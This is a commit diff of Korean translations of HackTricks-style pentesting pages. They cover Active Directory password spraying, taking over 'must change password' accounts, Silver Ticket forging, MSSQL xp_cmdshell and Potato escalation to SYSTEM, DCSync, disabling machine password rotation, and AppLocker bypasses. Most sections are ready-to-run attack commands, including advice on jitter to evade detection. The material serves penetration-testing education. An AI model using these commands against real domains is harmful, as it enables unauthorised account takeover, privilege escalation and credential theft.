Translated ['src/windows-hardening/active-directory-methodology/kerberos

This commit is contained in:
Translator 2025-09-03 17:21:58 +00:00
parent 409bc1349c
commit 8f50660299
4 changed files with 260 additions and 150 deletions

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**다음의 놀라운 게시물을 확인하세요:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**다음 훌륭한 글을 확인하세요:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
몇 개의 **valid usernames**를 찾으면, 발견한 각 사용자에 대해 가장 일반적인 **common passwords**를 시도해볼 수 있습니다(환경의 **password policy**를 고려하세요).\
기본적으로 **minimum password length**은 **7**입니다.
일단 여러 개의 **valid usernames**를 찾으면, 발견한 각 사용자에 대해 가장 흔한 **common passwords**를 시도해볼 수 있습니다(환경의 password policy를 염두에 두세요).\
기본적으로 **default** **minimum** **password** **length**는 **7**입니다.
common usernames 목록도 유용할 수 있습니다: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
일반적인 **usernames** 목록도 유용할 수 있습니다: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
여러 번 wrong passwords를 시도하면 일부 **accounts**가 **lockout**될 수 있다는 점에 주의하세요 (by default 10회 초과).
여러 번 잘못된 **passwords**를 시도하면 일부 계정이 **lockout**될 수 있다는 점에 유의하세요(기본값은 대략 10회 초과).
### Get password policy
만약 일부 user credentials나 domain user로서의 shell이 있다면, **get the password policy with**:
domain user로서 user credentials나 shell이 있다면 다음과 같이 **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Linux(또는 모)에서의 Exploitation
### Linux(또는 모든 플랫폼)에서의 Exploitation
- **crackmapexec** 사용:
```bash
@ -47,7 +47,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(계정 잠금을 피하기 위해 시도 횟수를 지정할 수 있습니다):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(잠금 방지를 위해 시도 횟수를 지정할 수 있습니다):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
@ -56,11 +56,11 @@ spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- **Metasploit**의 `scanner/smb/smb_login` 모듈 사용:
- **Metasploit**의 `scanner/smb/smb_login` 모듈 사용하여:
![](<../../images/image (745).png>)
- **rpcclient** 사용:
- **rpcclient**를 사용하여:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
@ -69,7 +69,7 @@ done
```
#### Windows에서
- brute module이 포함된 [Rubeus](https://github.com/Zer1t0/Rubeus) 버전 사용:
- brute module이 포함된 버전의 [Rubeus](https://github.com/Zer1t0/Rubeus):
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,28 +77,60 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)을 사용하면 (기본적으로 domain에서 사용자를 생성할 수 있으며, domain에서 password policy를 가져와 그에 따라 시도 횟수를 제한합니다):
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (기본적으로 도메인에서 사용자 목록을 생성할 수 있으며 도메인으로부터 암호 정책을 가져와 그에 따라 시도 횟수를 제한합니다):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- 다음 도구: [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)를 사용하여
```
Invoke-SprayEmptyPassword
```
### "Password must change at next logon" 계정 식별 및 탈취 (SAMR)
저소음 기법으로는 spray a benign/empty password를 시도하여 STATUS_PASSWORD_MUST_CHANGE를 반환하는 계정을 포착하는 것이다. 이는 비밀번호가 강제로 만료되어 이전 비밀번호를 모른 채로 변경할 수 있음을 나타낸다.
작업 흐름:
- 사용자 열거 (RID brute via SAMR)로 대상 목록을 구성:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
{{#endref}}
```bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- 빈 password로 스프레이하고, hits가 나오면 계속 진행해 'must change at next logon' 상태인 계정을 캡처하세요:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- 각 hit에 대해, NetExecs module로 SAMR을 통해 비밀번호를 변경하세요 (계정에 "must change"가 설정되어 있으면 이전 비밀번호가 필요 없습니다):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
운영 참고:
- Kerberos 기반 작업을 수행하기 전에 호스트의 시계가 DC와 동기화되어 있는지 확인하세요: `sudo ntpdate <dc_fqdn>`.
- 일부 모듈(e.g., RDP/WinRM)에서 (Pwn3d!)가 없는 [+] 표시는 creds가 유효하지만 계정에 인터랙티브 로그온 권한이 없음을 의미합니다.
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying은 SMB/NTLM/LDAP 바인드 시도보다 노이즈를 줄이고 AD 잠금 정책과 더 잘 맞습니다. SpearSpray는 LDAP 기반 타게팅, 패턴 엔진, 그리고 정책 인식(도메인 정책 + PSOs + badPwdCount 버퍼)을 결합해 정확하고 안전하게 스프레이합니다. 또한 Neo4j에 손상된 principals를 태그해 BloodHound 경로 분석에 사용할 수 있습니다.
Kerberos pre-authbased spraying는 SMB/NTLM/LDAP 바인드 시도에 비해 노이즈를 줄이고 AD 잠금 정책과 더 잘 맞습니다. SpearSpray는 LDAP 기반 타깃팅, 패턴 엔진, 그리고 정책 인식(도메인 정책 + PSOs + badPwdCount 버퍼)을 결합하여 정밀하고 안전하게 스프레이합니다. 또한 손상된 principals를 Neo4j에 태그하여 BloodHound 경로 분석에 사용할 수 있습니다.
Key ideas:
- LDAP 사용자 검색(페이징 및 LDAPS 지원), 선택적으로 커스텀 LDAP 필터 사용 가능.
- 도메인 잠금 정책 + PSO 인지 필터링으로 구성 가능한 시도 버퍼(임계값)를 남겨 사용자 잠금 방지.
- 빠른 gssapi 바인딩을 사용한 Kerberos pre-auth 검증(DC에서 4625 대신 4768/4771 생성).
- 이름 등 변수와 각 사용자의 pwdLastSet에서 도출한 시간 값을 사용하는 패턴 기반 사용자별 비밀번호 생성.
- 스레드, 지터, 초당 최대 요청수로 처리량 제어.
- 페이징 및 LDAPS 지원을 포함한 LDAP 사용자 검색(선택적으로 사용자 정의 LDAP 필터 사용 가능).
- 도메인 잠금 정책 + PSO 인식 필터링을 통해 설정 가능한 시도 버퍼(임계값)를 남겨 사용자 잠금 방지.
- 빠른 gssapi 바인딩을 사용하는 Kerberos pre-auth 검증(DCs에서 4625 대신 4768/4771 생성).
- 이름과 같은 변수 및 각 사용자의 pwdLastSet에서 파생된 시간 값을 사용한 패턴 기반 사용자별 비밀번호 생성.
- 스레드, 지터, 초당 최대 요청 수로 처리량 제어.
- 선택적 Neo4j 통합으로 소유한 사용자를 표시하여 BloodHound에 활용.
Basic usage and discovery:
@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
대상 선정 및 패턴 제어:
타겟팅 및 패턴 제어:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Stealth 및 안전 통제:
은밀성 및 안전 통제:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -142,29 +174,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
{samaccountname}
{extra}{separator}{year}{suffix}
```
사용 가능한 변수:
Available variables include:
- {name}, {samaccountname}
- 각 사용자의 pwdLastSet(또는 whenCreated)에서 파생되는 시간 관련 변수: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- 구성 헬퍼 및 조직 토큰: {separator}, {suffix}, {extra}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
운영 주의사항:
- 가급적 -dc로 PDC-emulator를 쿼리하여 가장 권위 있는 badPwdCount 및 정책 관련 정보를 읽어오세요.
- badPwdCount 리셋은 관찰 창(observation window) 이후 다음 시도에서 트리거됩니다; 안전을 위해 임계값(threshold)과 타이밍을 사용하세요.
- Kerberos pre-auth 시도는 DC telemetry에서 4768/4771로 나타납니다; 섞여들기 위해 jitter와 rate-limiting을 사용하세요.
운영 노트:
- 가장 권위 있는 badPwdCount 및 정책 관련 정보를 읽기 위해 -dc로 PDC-emulator를 조회하는 것을 권장합니다.
- badPwdCount 재설정은 관찰 창(observation window) 이후 다음 시도에서 트리거됩니다; 안전을 위해 임계값과 타이밍을 사용하세요.
- Kerberos pre-auth 시도가 DC telemetry에서 4768/4771로 표시됩니다; 섞여들어가기 위해 jitter 및 rate-limiting을 사용하세요.
> 팁: SpearSpray의 기본 LDAP 페이지 크기는 200입니다; 필요에 따라 -lps로 조정하세요.
> 팁: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
p**assword spraying outlook**을 위한 여러 도구가 있습니다.
p**assword spraying outlook**에 사용할 수 있는 여러 도구들이 있습니다.
- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- With [Ruler](https://github.com/sensepost/ruler) (reliable!)
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) 사용
- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) 사용
- [Ruler](https://github.com/sensepost/ruler) (신뢰할 수 있음!)
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
이 도구들을 사용하려면 사용자 목록과 스프레이할 단일 password / 소량의 passwords 목록이 필요합니다.
이 도구들을 사용하려면 사용자 목록과 spray할 password 또는 소규모 password 목록이 필요합니다.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -183,7 +215,7 @@ p**assword spraying outlook**을 위한 여러 도구가 있습니다.
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
## 참고자료
## 참고 자료
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
@ -194,6 +226,7 @@ p**assword spraying outlook**을 위한 여러 도구가 있습니다.
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Silver ticket
**Silver Ticket** 공격은 Active Directory (AD) 환경에서 서비스 티켓을 악용하는 것입니다. 이 방법은 **서비스 계정의 NTLM 해시를 획득하는 것**에 의존하여 티켓 부여 서비스(TGS) 티켓을 위조합니다. 이 위조된 티켓을 사용하여 공격자는 네트워크의 특정 서비스에 접근할 수 있으며, **임의의 사용자를 가장할 수 있습니다**, 일반적으로 관리 권한을 목표로 합니다. 티켓을 위조할 때 AES 키를 사용하는 것이 더 안전하고 덜 탐지된다는 점이 강조됩니다.
The **Silver Ticket** 공격은 Active Directory (AD) 환경에서 service tickets를 악용하는 기법입니다. 이 방법은 컴퓨터 계정과 같은 예시를 포함하여 **acquiring the NTLM hash of a service account**를 통해 Ticket Granting Service (TGS) 티켓을 위조하는 데 의존합니다. 이렇게 위조된 티켓으로 공격자는 네트워크의 특정 서비스에 접근하여, 보통 관리자 권한을 목표로 **impersonating any user**할 수 있습니다. 티켓을 위조할 때 AES keys를 사용하는 것이 더 안전하고 탐지 가능성이 낮다는 점이 강조됩니다.
> [!WARNING]
> Silver Tickets는 krbtgt 계정이 아닌 **서비스 계정의 해시**만 필요하기 때문에 Golden Tickets보다 덜 탐지됩니다. 그러나 특정 서비스에 한정됩니다. 또한, 사용자의 비밀번호를 훔치는 것만으로도 가능합니다.
또한, **SPN이 있는 계정의 비밀번호를 손상시키면** 해당 비밀번호를 사용하여 그 서비스에 대해 임의의 사용자를 가장하는 Silver Ticket을 생성할 수 있습니다.
> Silver Tickets는 Golden Tickets보다 덜 탐지됩니다. 그 이유는 krbtgt account가 아니라 **hash of the service account**만 필요하기 때문입니다. 그러나 이들은 표적이 된 특정 서비스로만 제한됩니다. 또한 단순히 사용자의 비밀번호를 탈취하는 것만으로도 가능할 수 있습니다.
> 만약 **account's password with a SPN**를 탈취한다면, 그 비밀번호를 사용해 해당 서비스에 대해 Silver Ticket을 생성하여 impersonating any user 할 수 있습니다.
티켓 제작을 위해 운영 체제에 따라 다양한 도구가 사용됩니다:
티켓 생성(조작)에는 운영체제에 따라 다양한 도구가 사용됩니다:
### On Linux
```bash
@ -18,7 +20,7 @@ python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### 윈도우에서
### Windows에서
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
@ -35,57 +37,89 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
CIFS 서비스는 피해자의 파일 시스템에 접근하기 위한 일반적인 목표로 강조되지만, HOST 및 RPCSS와 같은 다른 서비스도 작업 및 WMI 쿼리를 위해 악용될 수 있습니다.
CIFS 서비스는 피해자의 파일 시스템에 접근하기 위한 일반적인 표적으로 강조되지만, HOST 및 RPCSS와 같은 다른 서비스들도 작업 및 WMI 쿼리 수행에 악용될 수 있다.
### 예: MSSQL service (MSSQLSvc) + Potato to SYSTEM
SQL 서비스 계정(e.g., sqlsvc)의 NTLM 해시(또는 AES 키)를 가지고 있다면 MSSQL SPN에 대해 TGS를 위조하여 SQL 서비스에 대해 임의의 사용자로 가장할 수 있다. 그곳에서 xp_cmdshell을 활성화하여 SQL 서비스 계정 권한으로 명령을 실행할 수 있다. 해당 토큰에 SeImpersonatePrivilege가 있다면, Potato를 연결해 SYSTEM으로 권한을 상승시킬 수 있다.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- 결과 컨텍스트에 SeImersonatePrivilege 권한이 있으면(종종 service accounts의 경우에 해당), Potato 변형을 사용해 SYSTEM을 얻으세요:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
MSSQL을 악용하고 xp_cmdshell을 활성화하는 방법에 대한 자세한 내용:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Potato 기법 개요:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
## 사용 가능한 서비스
| 서비스 유형 | 서비스 실버 티켓 |
| ------------------------------------------ | --------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell 원격 제어 | <p>HOST</p><p>HTTP</p><p>운영 체제에 따라:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>경우에 따라: WINRM 요청 가능</p> |
| 예약된 작업 | HOST |
| Windows 파일 공유, 또한 psexec | CIFS |
| LDAP 작업, DCSync 포함 | LDAP |
| Windows 원격 서버 관리 도구 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| 골든 티켓 | krbtgt |
| 서비스 유형 | 서비스 Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
**Rubeus**를 사용하여 다음 매개변수를 사용하여 **모든** 티켓을 **요청**할 수 있습니다:
**Rubeus**를 사용하면 다음 매개변수를 통해 이 모든 티켓을 **요청할 수 있습니다**:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### 실버 티켓 이벤트 ID
### Silver tickets 이벤트 ID
- 4624: 계정 로그인
- 4624: 계정 로그
- 4634: 계정 로그오프
- 4672: 관리자 로그인
- 4672: 관리자 로그
## 지속성
## 속성
기계가 30일마다 비밀번호를 변경하지 않도록 하려면 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`을 설정하거나 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge`를 30일보다 큰 값으로 설정하여 기계 비밀번호가 변경되어야 하는 회전 주기를 나타낼 수 있습니다.
머신이 30일마다 암호를 변경하지 않도록 하려면 `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1`로 설정하거나, 머신 암호의 회전 주기를 늘리려면 `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge`를 30일보다 큰 값으로 설정하세요.
## 서비스 티켓 악용
다음 예제에서는 티켓이 관리자 계정을 가장하여 검색된다고 가정해 보겠습니다.
다음 예에서는 티켓이 administrator 계정을 가장하여 획득되었다고 가정합니다.
### CIFS
이 티켓을 사용하면 **SMB**를 통해 `C$``ADMIN$` 폴더에 접근할 수 있으며(노출된 경우) 원격 파일 시스템의 일부에 파일을 복사할 수 있습니다.
이 티켓을 사용하면 `C$``ADMIN$` 폴더에 **SMB**를 통해 접근할 수 있으며(노출되어 있는 경우) 다음과 같이 원격 파일시스템의 일부에 파일을 복사할 수 있습니다:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
당신은 또한 **psexec**를 사용하여 호스트 내부에서 셸을 얻거나 임의의 명령을 실행할 수 있습니다:
당신은 또한 호스트 내부에서 셸을 획득하거나 **psexec**를 사용해 임의의 명령을 실행할 수 있습니다:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
{{#endref}}
### HOST
### 호스트
이 권한으로 원격 컴퓨터에 예약 작업을 생성하고 임의의 명령을 실행할 수 있습니다:
이 권한으로 원격 컴퓨터에 예약 작업을 생성하고 임의의 명령을 실행할 수 있습니다:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -99,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
티켓을 사용하면 **희생자 시스템에서 WMI를 실행할 수 있습니다**:
tickets를 사용하면 대상 시스템에서 **WMI를 실행할 수 있습니다**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -109,34 +143,36 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
더 많은 **wmiexec**에 대한 정보는 다음 페이지에서 확인하세요:
Find **more information about wmiexec** in the following page:
{{#ref}}
../lateral-movement/wmiexec.md
{{#endref}}
### HOST + WSMAN (WINRM)
### 호스트 + WSMAN (WINRM)
winrm을 통해 컴퓨터에 접근하면 **접근할 수** 있으며 PowerShell을 얻을 수도 있습니다:
컴퓨터에 대한 winrm 접근 권한이 있으면 **해당 컴퓨터에 접속**하거나 심지어 PowerShell을 얻을 수 있습니다:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
다음 페이지를 확인하여 **winrm을 사용하여 원격 호스트에 연결하는 더 많은 방법**을 알아보세요:
Check the following page to learn **more ways to connect with a remote host using winrm**:
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> **winrm이 원격 컴퓨터에서 활성화되어 있고 수신 대기 중이어야** 접근할 수 있습니다.
> 원격 컴퓨터에 접근하려면 **winrm이 활성화되어 있고 수신(listening) 상태여야 합니다**.
### LDAP
이 권한으로 **DCSync**를 사용하여 DC 데이터베이스를 덤프할 수 있습니다:
이 권한으로 **DCSync**를 사용 DC 데이터베이스를 덤프할 수 있습니다:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**DCSync에 대해 더 알아보** 다음 페이지에서:
**DCSync에 대해 더 알아보세요** 다음 페이지에서:
{{#ref}}
@ -144,11 +180,12 @@ dcsync.md
{{#endref}}
## 참고자료
## 참고 자료
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
- [HTB Sendai 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)

View File

@ -1,17 +1,17 @@
# Windows Security Controls
# Windows 보안 제어
{{#include ../../banners/hacktricks-training.md}}
## AppLocker Policy
## AppLocker 정책
애플리케이션 화이트리스트는 시스템에 존재하고 실행될 수 있는 승인된 소프트웨어 애플리케이션 또는 실행 파일의 목록입니다. 목표는 환경을 유해한 맬웨어와 특정 조직의 비즈니스 요구에 맞지 않는 승인되지 않은 소프트웨어로부터 보호하는 것입니다.
애플리케이션 화이트리스트는 시스템에 존재하거나 실행되는 것을 허용하는 승인된 소프트웨어 애플리케이션 또는 실행 파일의 목록입니다. 목표는 조직의 특정 비즈니스 요구에 부합하지 않는 유해한 멀웨어 및 승인되지 않은 소프트웨어로부터 환경을 보호하는 것입니다.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft의 **애플리케이션 화이트리스트 솔루션**으로, 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션 및 파일**을 제어할 수 있게 해줍니다. 이는 실행 파일, 스크립트, Windows 설치 파일, DLL, 패키지 앱 및 패키지 앱 설치 프로그램에 대한 **세부적인 제어**를 제공합니다.\
조직에서 **cmd.exe 및 PowerShell.exe**와 특정 디렉터리에 대한 쓰기 접근을 **차단하는 것이 일반적이지만**, 이는 모두 우회될 수 있습니다.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft의 **애플리케이션 화이트리스트 솔루션**으로 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션과 파일을 제어**할 수 있게 합니다. 이 솔루션은 실행 파일, 스크립트, Windows 설치 파일, DLL, 패키지된 앱 및 패키지 앱 설치 프로그램에 대해 **세밀한 제어**를 제공합니다.\
조직에서**cmd.exe 및 PowerShell.exe를 차단**하거나 특정 디렉터리에 대한 쓰기 권한을 제한하는 경우가 일반적이지만, **이러한 조치는 모두 우회될 수 있습니다**.
### Check
### 확인
블랙리스트/화이트리스트에 있는 파일/확장자를 확인하세요:
어떤 파일/확장자가 블랙리스트/화이트리스트에 있는지 확인:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
이 레지스트리 경로는 AppLocker에 의해 적용된 구성 및 정책을 포함하고 있으며, 시스템에서 시행되는 현재 규칙 집합을 검토할 수 있는 방법을 제공합니다:
이 레지스트리 경로는 AppLocker에 의해 적용된 구성 및 정책이 포함되어 있으며, 시스템에서 적용 중인 규칙 집합을 검토할 수 있는 방법을 제공합니다:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### 우회
### Bypass
- AppLocker 정책을 우회하기 위한 유용한 **쓰기 가능한 폴더**: AppLocker가 `C:\Windows\System32` 또는 `C:\Windows` 내의 모든 것을 실행하도록 허용하는 경우, **이것을 우회하기 위해 사용할 수 있는 쓰기 가능한 폴더**가 있습니다.
- 유용한 **Writable folders** to bypass AppLocker Policy: AppLocker가 `C:\Windows\System32` 또는 `C:\Windows` 내부의 어떤 실행도 허용하는 경우, 이를 **bypass**하기 위해 사용할 수 있는 **writable folders**가 있습니다.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- 일반적으로 **신뢰할 수 있는** [**"LOLBAS's"**](https://lolbas-project.github.io/) 바이너리는 AppLocker를 우회하는 데 유용할 수 있습니다.
- **잘못 작성된 규칙도 우회될 수 있습니다.**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 어디에나 **`allowed`**라는 **폴더를 생성하면** 허용됩니다.
- 조직은 종종 **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** 실행 파일을 **차단하는 데** 집중하지만, **다른** [**PowerShell 실행 파일 위치**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)인 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 또는 `PowerShell_ISE.exe`를 잊어버립니다.
- **DLL 강제 적용은 시스템에 추가적인 부하를 줄 수 있기 때문에 매우 드물게 활성화됩니다.** 따라서 **백도어로서 DLL을 사용하는 것이 AppLocker를 우회하는 데 도움이 됩니다.**
